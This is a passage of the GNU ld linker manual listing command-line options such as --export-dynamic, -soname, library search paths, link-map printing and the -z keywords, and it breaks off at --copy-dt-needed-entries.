Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the compiler, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.

nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

